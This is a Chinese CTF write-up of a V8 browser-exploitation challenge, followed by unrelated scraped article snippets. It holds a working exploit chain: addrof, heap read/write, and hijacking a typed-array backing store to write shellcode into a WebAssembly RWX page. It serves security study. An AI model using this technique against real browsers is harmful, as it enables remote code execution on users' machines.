题目信息
Author: Faith
Why do some people think browser exploitation == web?
Once you get code execution, you can execute /chal/flagprinter to get the flag. No need to get a shell.
V8 commit: 47054c840e26394dea0e36df47884202a15dd16d V8 version: 8.7.9 nc chal.duc.tf 30004
Challenge files: https://storage.googleapis.com/files.duc.tf/uploads/pwn/is-this-pwn-or-web/challenge.tar.gz (sha256: e1c70edde66932ca3ee9285fe37c04254ae5a0e00b265c68fe93440bbe3256e8)
patch
src/builtins/array-slice.tq
中
- return ExtractFastJSArray(context, a, start, count);
+ // return ExtractFastJSArray(context, a, start, count);
+ // Instead of doing it the usual way, I've found out that returning it
+ // the following way gives us a 10x speedup!
+ const array: JSArray = ExtractFastJSArray(context, a, start, count);
+ const newLength: Smi = Cast(count - start + SmiConstant(2))
+ otherwise Bailout;
+ array.ChangeLength(newLength);
+ return array;
当start指定为0时,这里把数组的长度增加了2,导致我们可以读写array elements后两个元素的值。
利用
JSArray结构
对于这样一个array
a = [1.1, 2.2, 3.3, 4.4]
在slice之后
d8> b = a.slice(0)
[1.1, 2.2, 3.3, 4.4, , ]
d8> b.length
6
d8> b[4]
4.768128617178215e-270
d8> b[5]
2.5530533391e-313
a = [1.1, 2.2, 3.3];
DebugPrint: 0xe3b08085aa9: [JSArray]
- map: 0x0e3b082438fd [FastProperties]
- prototype: 0x0e3b0820a555
- elements: 0x0e3b08085a89 [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0e3b080426dd {
0xe3b08044649: [String] in ReadOnlySpace: #length: 0x0e3b08182159 (const accessor descriptor)
}
- elements: 0x0e3b08085a89 {
0: 1.1
1: 2.2
2: 3.3
}
查看elements
pwndbg> x/10gx 0x0e3b08085a89-1
0xe3b08085a88: 0x0000000608042a31 0x3ff199999999999a (1.1)
0xe3b08085a98: 0x400199999999999a(2.2) 0x400a666666666666 (3.3)
0xe3b08085aa8: 0x080426dd082438fd (map ptr) 0x0000000608085a89 (element ptr)
0xe3b08085ab8: 0x00000006080424a5 0x08085af908085acd
0xe3b08085ac8: 0x0824579d08085b25 0x080426dd080426dd
pwndbg> x/10gf 0x0e3b08085a89-1
0xe3b08085a88: 1.2798421967007003e-313 1.1000000000000001
0xe3b08085a98: 2.2000000000000002 3.2999999999999998
0xe3b08085aa8: 4.7681286171782151e-270 1.2798557597908099e-313
+-------------+-------------+
0x0e3b08085a88 | | |
+------>| | 1.1 |
| +---------------------------+
| | | |
| | 2.2 | 3.3 |
| +---------------------------+
| | | float_arr | 0xe3b08085aa8
| | 4.4 | map | JSArray start
| +---------------------------+
| | elements | |
+-------+ ptr | |
+-------------+-------------+
元素的实际数值放置于element_ptr+0x8
的地方
可控多出来的两个元素,分别为float_arr map和element ptr
浮点数与整数的转换
Double: Shown as the 64-bit binary representation without any changes Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000 Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) == float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) == BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
addrof
修改float_arr的elements指针到obj_arr的 elements指针,这样通过把obj放到obj_arr,再从float_arr
读取数据就能拿到obj的地址。
obj_arr float_arr
+----------+---------+ +-----------+---------+
| map | elems | | map |elems |
| | | | | |
+----------+-----+---+ +-----------+-----+---+
| |
+-----+----------------------------+
|
v
+--------------+
| obj ptr1 |+---> {A:1.1}
+--------------+
| obj ptr2 |+---> {B:2.2}
+--------------+
| ... |
| |
| |
| |
+--------------+
泄露map ptr和 element ptr
a = [1.1, 2.2, 3.3];
b = [{A:1}, {B:2}, {C:3}];
float_arr = a.slice(0);
obj_arr = b.slice(0);
float_map = float_arr[3];
float_elems = float_arr[4];
调试可知obj_map
,obj_elems
与float_map
,float_elems
的偏移。
float_arr :
DebugPrint: 0x25b008085b59: [JSArray]
- map: 0x25b0082438fd [FastProperties]
...
- elements: 0x25b008085b39 {
0: 1.1
1: 2.2
2: 3.3
}
obj_arr :
DebugPrint: 0x25b008085b7d: [JSArray]
- map: 0x25b00824394d [FastProperties]
...
- elements: 0x25b008085b69 {
0: 0x25b008085aa5
1: 0x25b008085ad1
2: 0x25b008085afd
}
obj_map = itof(ftoi(float_map) + (0x50n));
obj_elems = itof(ftoi(float_elems) + (0x30n));
修改float_arr的elements指针到obj_arr的 elements指针
// hijack obj element ptr
float_arr[4]= obj_elems ;
addrof
function addrof(in_obj) {
// put the obj into our object array
obj_arr[0] = in_obj;
// accessing the first element of the float array
// treats the value there as a float:
let addr = float_arr[0];
// Convert to bigint
return ftoi(addr);
}
Arbitrary read/write within v8 heap
修改elements指针到R/W的地址即可。 由于v8堆内使用了指针压缩,而base不可知,所以只能R/W堆内的地址(即传入的地址需要时压缩后的指针)
function arbi_r(target_addr){
t=[1.1]
// read is performed at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged as a pointer
if (target_addr % 2n == 0) {
target_addr += 1n;
}
hijacked_t = t.slice(0);
hijacked_t[2]=itof(target_addr);
return ftoi(hijacked_t[0]);
}
function arbi_w(target_addr, val) { // both as BigInts
t = [1.1]
// write is made at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged
if (target_addr % 2n == 0) {
target_addr += 1n;
}
tmp_arr = t.slice(0)
// set elem ptr to desired address
tmp_arr[2] = itof(target_addr)
// set addr to desired value
tmp_arr[0] = itof(val)
}
任意R/W
为了实现堆外的R/W,可以通过修改typed arrays的backing store为目标地址。
v8 heap 'actual' heap
+----------------------------+ +---------------------+
| | | |
| buf +--------------+ | +--> |
| | | | | | |
| | . . . | | | | |
| | | | | +---------------------+
| | | | |
| +--------------+ | |
| | backing | | |
| | store ptr +----------+
| +--------------+ |
+----------------------------+
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
wasm中的RXW段
查看WasmInstanceObject的布局
DebugPrint: 0x360c08211751: [WasmInstanceObject] in OldSpace
- map: 0x360c08245275 [FastProperties]
- prototype: 0x360c080835fd
- elements: 0x360c080426dd [HOLEY_ELEMENTS]
- module_object: 0x360c080859ed
- exports_object: 0x360c08085b49
- native_context: 0x360c0820221d
- memory_object: 0x360c08211739
- table 0: 0x360c08085b1d
- imported_function_refs: 0x360c080426dd
- indirect_function_table_refs: 0x360c080426dd
- managed_native_allocations: 0x360c08085ad5
- memory_start: 0x7ffddc000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x555556ae9670
- globals_start: (nil)
- imported_mutable_globals: 0x555556ae9690
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x360c080426dd {}
pwndbg> telescope 0x360c08211751-1 20
00:0000│ 0x360c08211750 ◂— 0x80426dd08245275
01:0008│ 0x360c08211758 ◂— 0xdc000000080426dd
02:0010│ 0x360c08211760 ◂— 0x1000000007ffd
03:0018│ 0x360c08211768 ◂— 0xffff00000000
04:0020│ 0x360c08211770 ◂— 0x4800000000
05:0028│ 0x360c08211778 ◂— 0x80426dd0000360c /* '\x0c6' */
06:0030│ 0x360c08211780 —▸ 0x555556ae9670 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
07:0038│ 0x360c08211788 ◂— 0x80426dd
08:0040│ 0x360c08211790 ◂— 0x0
... ↓
0b:0058│ 0x360c082117a8 —▸ 0x555556ae9690 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
0c:0060│ 0x360c082117b0 —▸ 0x360c00000000 —▸ 0x7fffffffd780 ◂— 0x360c00000000
0d:0068│ 0x360c082117b8 —▸ 0xcff4e389000 ◂— jmp 0xcff4e3893a0 /* 0xcccccc0000039be9 */
0e:0070│ 0x360c082117c0 ◂— 0x8085b49080859ed
0f:0078│ 0x360c082117c8 ◂— 0x82117390820221d
10:0080│ 0x360c082117d0 ◂— 0x804230108042301
11:0088│ 0x360c082117d8 ◂— 0x8085b1108042301
12:0090│ 0x360c082117e0 ◂— 0x8085ad508085b3d
13:0098│ 0x360c082117e8 ◂— 0x8085b8108042301
其中0x360c082117b8
(+0x68)处的地址0xcff4e389000
处于RXW段
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xcff4e389000 0xcff4e38a000 rwxp 1000 0
向其中写入shellcode即可
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// %DebugPrint(buf);
// %SystemBreak();
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
// backing store now points to the rwx segment, copy in our shellcode
for (let i = 0; i < shellcode.length; i++) {
uint8_arr[i] = shellcode[i]
}
wasm_func();
murmur
大致一道V8的题目,分为构造addrof
, (withinHeap) arbitraryR/W
, (allAddr) arbitraryR/W
的primitive。 其中可以通过TypedArray
的backing store
,实现任意地址的arbitrary R/W
。 (https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html)
reference
https://seb-sec.github.io/2020/09/28/ductf2020-pwn-or-web.html
你可能感兴趣的:(ductf2020 pwn-or-web v8)
YOLO融合synergisticNet中的模块
今天炼丹了吗
YOLOv11与自研模型专栏 YOLO
YOLOv11v10v8使用教程:YOLOv11入门到入土使用教程YOLOv11改进汇总贴:YOLOv11及自研模型更新汇总《HyperSINet:ASynergeticInteractionNetworkCombinedWithConvolutionandTransformerforHyperspectralImageClassification》一、模块介绍论文链接:https://ieeex
Ubuntu20.04切换源
dongdundun
ubuntu linux 运维
一、ubuntu20.04系统重装二、工具安装1.更换Ubuntu源更换conda源更换pip源2.安装QQqq闪退卸载安装wine版QQ3.安装搜狗输入法及中文设置安装搜狗输入法中文设置4.安装vim5.安装google6.安装VsCode7.安装python3的opencv8.安装向日葵向日葵闪退9.ubuntu下识别不到U盘10.安装Typora11.安装百度网盘12.安装ceres库(优化
yolov5/v7/v8/v9/v10环境详细配置教程(Windows+conda+pycharm)
视觉算法er
深度学习环境配置 YOLO 目标检测 人工智能 深度学习 conda pycharm
一、所需环境配置1.1.虚拟环境创建首先,打开AnacondaPrompt命令窗口,创建一个新的虚拟环境,后面的包都在这个环境中安装。创建命令是:我的习惯是使用3.8版本的python,你也可以换成更高版本;condacreate-nyolopython=3.8输入命令后,运行结果如下:输入y即可;1.2.激活虚拟环境安装完成后,即可激活虚拟环境,输入以下命令即可;condaactivateyol
超详细yolov8/11-segment实例分割全流程概述:配置环境、数据标注、训练、验证/预测、onnx部署(c++/python)详解
因为yolo的检测/分割/姿态/旋转/分类模型的环境配置、训练、推理预测等命令非常类似,这里不再详细叙述,主要参考**【YOLOv8/11-detect目标检测全流程教程】**,下面有相关链接,这里主要针对数据标注、格式转换、模型部署等不同细节部分;【YOLOv8/11-detect目标检测全流程教程】超详细yolo8/11-detect目标检测全流程概述:配置环境、数据标注、训练、验证/预测、o
创新引入HAttention模块:提升YOLOv8小目标检测精度【YOLOv8】
程序员Gloria
YOLOv8 YOLO 目标跟踪 人工智能 目标检测
文章目录创新引入HAttention模块:提升YOLOv8小目标检测精度【YOLOv8】引言1.YOLOv8模型概述1.1YOLOv8架构1.2YOLOv8小目标检测的挑战2.HAttention模块:原理与设计2.1HAttention模块的动机2.2HAttention模块的结构3.HAttention模块在YOLOv8中的应用3.1引入HAttention模块3.2YOLOv8架构修改3.3
YOLOv11深度解析:Ultralytics新一代目标检测架构创新与实战指南
芯作者
D2: YOLO YOLO 神经网络 计算机视觉
2024年Ultralytics重磅推出YOLOv11**:在精度与速度的平衡木上再进一步,参数减少22%,推理速度提升2%,多任务支持全面升级!一、YOLOv11核心创新:轻量化与注意力机制的完美融合YOLOv11并非颠覆性重构,而是通过模块级优化实现“少参数、高精度、快推理”的目标。其三大创新点如下:1.1C3k2模块:动态卷积核的灵活设计取代YOLOv8的C2f模块,C3k2通过参数c3k动
【1】确认安装 Node.js 和 npm版本号
搭建前端项目时需要安装Node.js和npm,主要是因为它们提供了一些重要的功能和工具,帮助开发者高效地开发、构建和管理项目。一、具体原因如下:Node.js:JavaScript运行环境Node.js是一个基于ChromeV8引擎的JavaScript运行时,可以在服务器端运行JavaScript代码。它使得JavaScript不仅限于浏览器中运行,还能在本地环境中运行。npm:包管理工具npm
yolo11官方ONNXRuntime部署推理的脚本测试,包括检测模型和分割模型的部署推理
Revao
YOLO python
一、检测模型1.脚本路径:D:/ultralytics-main/examples/YOLOv8-ONNXRuntime/main.py2.使用案例下载好onnx模型保存至D:/ultralytics-main/models目录下,没有该目录则新建打开终端,进入虚拟环境以yolov8n.onnx模型为例,输入以下指令即可pythonD:/ultralytics-main/examples/YOLO
Mamba-YOLOv8深度解析:基于状态空间模型的下一代目标检测架构(含完整代码与实战部署)文末含资料链接!
博导ai君
深度学习教学-附源码 YOLO 目标检测 架构
文章目录前言一、技术背景与动机1.1传统架构的局限性1.2Mamba的创新优势二、Mamba-YOLOv8架构详解2.1整体架构设计2.2核心模块:VSSblock2.3SS2D模块工作原理三、完整实现流程3.1环境配置3.2代码集成步骤3.3训练与微调四、性能分析与优化4.1精度提升策略4.2推理加速方案4.3硬件适配技巧五、实战案例:无人机航拍检测5.1数据集准备5.2模型训练与评估六、未来研
Ubuntu 24.04.2 LTS Python 人工智能Ai视觉模型
GHY云端大师
AI 训练模型 python 人工智能
一、创建Python虚拟环境#更新软件包列表,确保你获取到最新版本的可用软件包sudoaptupdate#安装用于创建Python3.10虚拟环境(venv)的相关软件包sudoaptinstallpython3.10-venv-y或sudoaptinstallpython3.12-venv-y#使用Python3创建一个名为"yolov8_env"的虚拟环境python3-mvenvyolo
YOLOv8 轴承缺陷检测 使用YOLOv8进行训练、评估和可视化预测结果 包含1440张图片的轴承缺陷检测数据集 YOLO格式或XML格式
OICQQ67658008
YOLO xml 深度学习 轴承缺陷 数据检测 算法 人工智能
轴承缺陷检测4类1440张names:[‘aocao’,‘aoxian’,‘cashang’,‘huahen’]名称::[‘凹槽’,‘凹陷’,‘卡伤’,‘划痕’]共1440张,8:1:1比例划分train:1152张,val:144张,test:144张标注文件为YOLO适用的txt格式或xml格式。可以直接用于模型训练。YOLOv8轴承缺陷检测importosimporttorchfromIPy
RK3576 Yolo 部署
1.开发背景Ubuntu下实现yolo计算比较常见,现实中我们需要在各种嵌入式板卡上实现yolo模型,在板卡上运行yolo也是常态。主要参考官方github和野火教程。2.开发需求在RK3576上运行yolov8的官方例程3.开发环境Ubuntu20.04+Conda+Yolov8+RK35764.实现步骤4.1PyTorch文件转ONNX4.1.1下载权重文件下载官方权重文件yolov8n.pt
YOLOv12_ultralytics-8.3.145_2025_5_27部分代码阅读笔记-augment.py
augment.pyultralytics\data\augment.py目录augment.py1.所需的库和模块2.classBaseTransform:3.classCompose:4.classBaseMixTransform:5.classCutMix(BaseMixTransform):6.classCopyPaste(BaseMixTransform):7.defv8_transfo
Node.js 安装使用教程
小奇JAVA面试
安装使用教程 node.js
一、Node.js简介Node.js是一个基于ChromeV8引擎的JavaScript运行时,允许在服务器端运行JavaScript。它以事件驱动、非阻塞I/O为核心,适合构建高性能的网络服务、API接口、中间层服务器、命令行工具等。二、Node.js安装方式2.1官方安装包(推荐)访问Node.js官网:https://nodejs.org/下载LTS(长期支持)版本安装完成后,在命令行验证:
基于深度学习的线上问诊系统设计与实现(Python+Django+MySQL)
神经网络15044
深度学习 算法 神经网络 python 深度学习 django 机器学习 人工智能 算法 目标检测
基于深度学习的线上问诊系统设计与实现(Python+Django+MySQL)一、系统概述本系统结合YOLOv8目标检测和ResNet50图像分类算法,构建了一个智能线上问诊平台。系统支持用户上传医学影像(皮肤照片/X光片),自动分析并生成诊断报告,同时提供医生审核功能。二、技术栈后端框架:Django4.2数据库:MySQL8.0深度学习:YOLOv8:皮肤病变区域检测ResNet50:肺炎X光
DM8 DSC共享集群搭建部署
LeeWen2020
达梦
DMDSC共享集群属于达梦数据库集群架构产品之一,类似于OracleRAC架构。一、环境说明主机规划:IPAddrDBVersionOSVersion节点1192.168.15.11(外网)192.168.25.11(内网)DMV81-1-72-20.04.03-119959-ENTDSCVeriosn:V2.0中标麒麟6节点2192.168.15.12(外网)192.168.25.12(内网)D
YOLOv12_ultralytics-8.3.145_2025_5_27部分代码阅读笔记-loss.py
红色的山茶花
YOLO 笔记 深度学习
loss.pyultralytics\utils\loss.py目录loss.py1.所需的库和模块2.classVarifocalLoss(nn.Module):3.classFocalLoss(nn.Module):4.classDFLoss(nn.Module):5.classBboxLoss(nn.Module):6.classv8DetectionLoss:7.classE2EDetec
为什么要学习 next.js 框架 + Vercel 部署平台,因为我想把自己的 app 分享给别人。
waterHBO
学习 javascript 开发语言
前端开发太卷?不如给你的React换个“豪华座驾”和“F1赛道”**如果你像我一样,从create-react-app的时代一路走来,你一定经历过那种“甜蜜的烦恼”:React给了你一个超强的V8引擎,但造车剩下的所有事——从方向盘(路由)、底盘(项目结构)到导航系统(数据管理)——都得你自己撸。结果就是,每个项目开始前,你都在重复发明轮子,在Webpack的配置地狱里苦苦挣扎。好消息是,时代变了
浏览器原理与API
天涯学馆
Web大前端全栈架构 javascript 前端
浏览器原理与渲染机制浏览器架构概述现代浏览器通常由以下核心组件构成:用户界面(UI):地址栏、后退/前进按钮、书签菜单等浏览器引擎:在用户界面和渲染引擎之间架起桥梁渲染引擎:负责显示请求的内容(如Chrome的Blink、Firefox的Gecko)网络层:处理网络请求(如HTTP请求)JavaScript引擎:解释和执行JavaScript代码(如V8引擎)UI后端:绘制基本的窗口小部件(如组合
ss928v100模型的导出、量化和转换
yunken28
python 开发语言
1、yolov8导出为onnxfromultralyticsimportYOLOmodel=YOLO("./best.pt")model.export(format="onnx",imgsz=640,dynamic=False,simplify=True,opset=11,batch=1,half=False)以下是model.export()方法各参数的详细解释:format="onnx"指
口罩检测数据集-1591张图片疫情防控管理 智能门禁系统 公共场所安全监控
cver123
数据集 目标跟踪 人工智能 计算机视觉 目标检测 pytorch
口罩检测数据集-1591张图片已发布目标检测数据集合集(持续更新)口罩检测数据集介绍数据集概览包含类别应用场景数据样本展示文件结构与使用建议使用建议技术标签YOLOv8训练实战1.环境配置安装YOLOv8官方库ultralytics2.数据准备2.1数据标注格式(YOLO)2.2文件结构示例2.3创建data.yaml配置文件3.模型训练关键参数补充说明:4.模型验证与测试4.1验证模型性能关键参
YOLOv8模型在RDK5开发板上的部署指南:.pt到.bin转换与优化实践
pk_xz123456
python 算法 仿真模型 YOLO 人工智能 rnn 深度学习 开发语言 lstm
以下是针对在RDK5开发板(基于NVIDIAJetsonOrin平台)部署YOLOv8模型的详细技术指南,涵盖从模型转换、优化到部署的全流程:YOLOv8模型在RDK5开发板上的部署指南:.pt到.bin转换与优化实践——基于TensorRT的高性能嵌入式部署方案第一章:技术背景与核心概念1.1RDK5开发板硬件架构NVIDIAJetsonOrinNX核心参数:1024-coreAmpereGPU
基于YOLOv8和Faster R-CNN的输电线路异物目标检测项目 检测 输电线异物数据集 输电线缺陷数据集 绝缘子 如何使用YOLOv8和Faster R-CNN训练输电线路异物目标检测数据集
QQ67658008
YOLO r语言 cnn 输电线路 绝缘子 线路异物 目标检测
电力篇-输电线路缺陷数据集输电线路异物目标检测数据集16000张5种检测目标:‘burst’-爆裂‘defect’-缺陷‘foreign_obj’-异物‘insulator’-绝缘体‘nest’-窝(巢)带标注-YOLO格式可直接用于YOLO系列目标检测算法模型训练如何使用YOLOv8和FasterR-CNN训练输电线路异物目标检测数据集的详细步骤和代码。假设数据集包含16000张图片和5种检测目
ARMv8-A架构参考手册:全面解析ARM架构的未来
韦原策Noblewoman
ARMv8-A架构参考手册:全面解析ARM架构的未来【下载地址】ARMv8-A架构参考手册探索ARMv8-A架构的终极指南,本手册深入解析了AArch64与AArch32两种执行状态,涵盖了A32、T32及A64指令集,以及异常模型、内存管理、程序员模型等核心内容。无论您是开发者还是研究人员,都能从中获取到关于ARMv8-A架构的全面知识,助您在处理器操作、系统寄存器和安全模型等领域游刃有余。通过
GIC600通用中断控制器参考手册:项目推荐文章
GIC600通用中断控制器参考手册:项目推荐文章【下载地址】GIC600通用中断控制器参考手册《ARMv8架构通用中断控制器GIC600参考手册》是开发者深入理解与应用GIC600的权威指南。手册全面解析了GIC600的硬件架构、编程接口及中断处理机制,帮助开发者在ARMv8架构下高效实现中断控制。无论是硬件设计还是软件开发,本手册都提供了详尽的技术支持,是开发者不可或缺的参考资料。通过本手册,您
道路交通标志检测数据集-智能地图与导航 交通监控与执法 智慧城市交通管理-2,000 张图像
cver123
数据集 智慧城市 人工智能 目标跟踪 计算机视觉 目标检测
道路交通标志检测数据集已发布目标检测数据集合集(持续更新)道路交通标志检测数据集介绍数据集概览包含类别应用场景数据样本展示YOLOv8训练实战1.环境配置安装YOLOv8官方库ultralytics2.数据准备2.1数据标注格式(YOLO)2.2文件结构示例2.3创建data.yaml配置文件3.模型训练关键参数补充说明:4.模型验证与测试4.1验证模型性能关键参数详解常用可选参数典型输出指标4.
什么是Node.js,有什么特点
前端与小赵
node.js
Node.js简介Node.js是一个基于ChromeV8引擎的JavaScript运行时环境,由RyanDahl于2009年创建。Node.js允许开发者使用JavaScript编写服务器端应用程序,打破了JavaScript仅限于浏览器端的限制。Node.js的设计目标是提供一种简单、高效的方式来构建可伸缩的网络应用。Node.js的特点非阻塞I/O特点:Node.js使用事件驱动的非阻塞I/
Node.js到底是什么
浪裡遊
杂文 node.js php 开发语言 前端 javascript vue.js
我想像是npm、vite这些名词大家都很熟悉,对它们的作用也有大致印象,但是可能都像我一样不明白Node.js到底是什么,这里给大家带来一个简单介绍。Node.js详解:历史发展、生态构建与底层原理一、Node.js的起源与历史发展诞生背景2009年5月:Node.js由RyanDahl开发并首次发布。其核心目标是解决JavaScript仅限于浏览器端运行的局限性,通过ChromeV8引擎(Jav
ARMv8架构参考手册下载
唐方展
ARMv8架构参考手册下载【下载地址】ARMv8架构参考手册下载分享ARMv8架构参考手册下载项目地址:https://gitcode.com/Open-source-documentation-tutorial/1df35资源介绍本仓库提供ARM官方的ARM架构参考手册,最新版本为ARMv8-A。该手册是系统学习ARM指令的最佳参考书,涵盖了ARMv8架构的详细信息和汇编指令手册。资源文件文件名
onnx-web + yolov8n 在视频流里做推理
CHEN_RUI_2200
人工智能 YOLO
顺着我上一篇文章使用onnxruntime-web运行yolov8-nano推理继续说,有朋友在问能不能接入视频流动,实时去识别物品。首先使用getUserMedia获取摄像头视频流getUserMediaAPI可以访问设备的摄像头和麦克风。你可以使用这个API获取视频流,并将其显示在页面上的标签中。注意事项:浏览器支持:getUserMedia被现代浏览器大多数支持,但在一些旧版浏览器上可能不兼
关于旗正规则引擎下载页面需要弹窗保存到本地目录的问题
何必如此
jsp 超链接 文件下载 窗口
生成下载页面是需要选择“录入提交页面”,生成之后默认的下载页面<a>标签超链接为:<a href="<%=root_stimage%>stimage/image.jsp?filename=<%=strfile234%>&attachname=<%=java.net.URLEncoder.encode(file234filesourc
【Spark九十八】Standalone Cluster Mode下的资源调度源代码分析
bit1129
cluster
在分析源代码之前,首先对Standalone Cluster Mode的资源调度有一个基本的认识:
首先,运行一个Application需要Driver进程和一组Executor进程。在Standalone Cluster Mode下,Driver和Executor都是在Master的监护下给Worker发消息创建(Driver进程和Executor进程都需要分配内存和CPU,这就需要Maste
linux上独立安装部署spark
daizj
linux 安装 spark 1.4 部署
下面讲一下linux上安装spark,以 Standalone Mode 安装
1)首先安装JDK
下载JDK:jdk-7u79-linux-x64.tar.gz ,版本是1.7以上都行,解压 tar -zxvf jdk-7u79-linux-x64.tar.gz
然后配置 ~/.bashrc&nb
Java 字节码之解析一
周凡杨
java 字节码 javap
一: Java 字节代码的组织形式
类文件 {
OxCAFEBABE ,小版本号,大版本号,常量池大小,常量池数组,访问控制标记,当前类信息,父类信息,实现的接口个数,实现的接口信息数组,域个数,域信息数组,方法个数,方法信息数组,属性个数,属性信息数组
}
&nbs
java各种小工具代码
g21121
java
1.数组转换成List
import java.util.Arrays;
Arrays.asList(Object[] obj); 2.判断一个String型是否有值
import org.springframework.util.StringUtils;
if (StringUtils.hasText(str)) 3.判断一个List是否有值
import org.spring
加快FineReport报表设计的几个心得体会
老A不折腾
finereport
一、从远程服务器大批量取数进行表样设计时,最好按“列顺序”取一个“空的SQL语句”,这样可提高设计速度。否则每次设计时模板均要从远程读取数据,速度相当慢!!
二、找一个富文本编辑软件(如NOTEPAD+)编辑SQL语句,这样会很好地检查语法。有时候带参数较多检查语法复杂时,结合FineReport中生成的日志,再找一个第三方数据库访问软件(如PL/SQL)进行数据检索,可以很快定位语法错误。
mysql linux启动与停止
墙头上一根草
如何启动/停止/重启MySQL一、启动方式1、使用 service 启动:service mysqld start2、使用 mysqld 脚本启动:/etc/inint.d/mysqld start3、使用 safe_mysqld 启动:safe_mysqld&二、停止1、使用 service 启动:service mysqld stop2、使用 mysqld 脚本启动:/etc/inin
Spring中事务管理浅谈
aijuans
spring 事务管理
Spring中事务管理浅谈
By Tony Jiang@2012-1-20 Spring中对事务的声明式管理
拿一个XML举例
[html]
view plain
copy
print
?
<?xml version="1.0" encoding="UTF-8"?>&nb
php中隐形字符65279(utf-8的BOM头)问题
alxw4616
php中隐形字符65279(utf-8的BOM头)问题
今天遇到一个问题. php输出JSON 前端在解析时发生问题:parsererror.
调试:
1.仔细对比字符串发现字符串拼写正确.怀疑是 非打印字符的问题.
2.逐一将字符串还原为unicode编码. 发现在字符串头的位置出现了一个 65279的非打印字符.
 
调用对象是否需要传递对象(初学者一定要注意这个问题)
百合不是茶
对象的传递与调用技巧
类和对象的简单的复习,在做项目的过程中有时候不知道怎样来调用类创建的对象,简单的几个类可以看清楚,一般在项目中创建十几个类往往就不知道怎么来看
为了以后能够看清楚,现在来回顾一下类和对象的创建,对象的调用和传递(前面写过一篇)
类和对象的基础概念:
JAVA中万事万物都是类 类有字段(属性),方法,嵌套类和嵌套接
JDK1.5 AtomicLong实例
bijian1013
java thread java多线程 AtomicLong
JDK1.5 AtomicLong实例
类 AtomicLong
可以用原子方式更新的 long 值。有关原子变量属性的描述,请参阅 java.util.concurrent.atomic 包规范。AtomicLong 可用在应用程序中(如以原子方式增加的序列号),并且不能用于替换 Long。但是,此类确实扩展了 Number,允许那些处理基于数字类的工具和实用工具进行统一访问。
 
自定义的RPC的Java实现
bijian1013
java rpc
网上看到纯java实现的RPC,很不错。
RPC的全名Remote Process Call,即远程过程调用。使用RPC,可以像使用本地的程序一样使用远程服务器上的程序。下面是一个简单的RPC 调用实例,从中可以看到RPC如何
【RPC框架Hessian一】Hessian RPC Hello World
bit1129
Hello world
什么是Hessian
The Hessian binary web service protocol makes web services usable without requiring a large framework, and without learning yet another alphabet soup of protocols. Because it is a binary p
【Spark九十五】Spark Shell操作Spark SQL
bit1129
shell
在Spark Shell上,通过创建HiveContext可以直接进行Hive操作
1. 操作Hive中已存在的表
[hadoop@hadoop bin]$ ./spark-shell
Spark assembly has been built with Hive, including Datanucleus jars on classpath
Welcom
F5 往header加入客户端的ip
ronin47
when HTTP_RESPONSE {if {[HTTP::is_redirect]}{ HTTP::header replace Location [string map {:port/ /} [HTTP::header value Location]]HTTP::header replace Lo
java-61-在数组中,数字减去它右边(注意是右边)的数字得到一个数对之差. 求所有数对之差的最大值。例如在数组{2, 4, 1, 16, 7, 5,
bylijinnan
java
思路来自:
http://zhedahht.blog.163.com/blog/static/2541117420116135376632/
写了个java版的
public class GreatestLeftRightDiff {
/**
* Q61.在数组中,数字减去它右边(注意是右边)的数字得到一个数对之差。
* 求所有数对之差的最大值。例如在数组
mongoDB 索引
开窍的石头
mongoDB索引
在这一节中我们讲讲在mongo中如何创建索引
得到当前查询的索引信息
db.user.find(_id:12).explain();
cursor: basicCoursor 指的是没有索引
&
[硬件和系统]迎峰度夏
comsci
系统
从这几天的气温来看,今年夏天的高温天气可能会维持在一个比较长的时间内
所以,从现在开始准备渡过炎热的夏天。。。。
每间房屋要有一个落地电风扇,一个空调(空调的功率和房间的面积有密切的关系)
坐的,躺的地方要有凉垫,床上要有凉席
电脑的机箱
基于ThinkPHP开发的公司官网
cuiyadll
行业系统
后端基于ThinkPHP,前端基于jQuery和BootstrapCo.MZ 企业系统
轻量级企业网站管理系统
运行环境:PHP5.3+, MySQL5.0
系统预览
系统下载:http://www.tecmz.com
预览地址:http://co.tecmz.com
各种设备自适应
响应式的网站设计能够对用户产生友好度,并且对于
Transaction and redelivery in JMS (JMS的事务和失败消息重发机制)
darrenzhu
jms 事务 承认 MQ acknowledge
JMS Message Delivery Reliability and Acknowledgement Patterns
http://wso2.com/library/articles/2013/01/jms-message-delivery-reliability-acknowledgement-patterns/
Transaction and redelivery in
Centos添加硬盘完全教程
dcj3sjt126com
linux centos hardware
Linux的硬盘识别:
sda 表示第1块SCSI硬盘
hda 表示第1块IDE硬盘
scd0 表示第1个USB光驱
一般使用“fdisk -l”命
yii2 restful web服务路由
dcj3sjt126com
PHP yii2
路由
随着资源和控制器类准备,您可以使用URL如 http://localhost/index.php?r=user/create访问资源,类似于你可以用正常的Web应用程序做法。
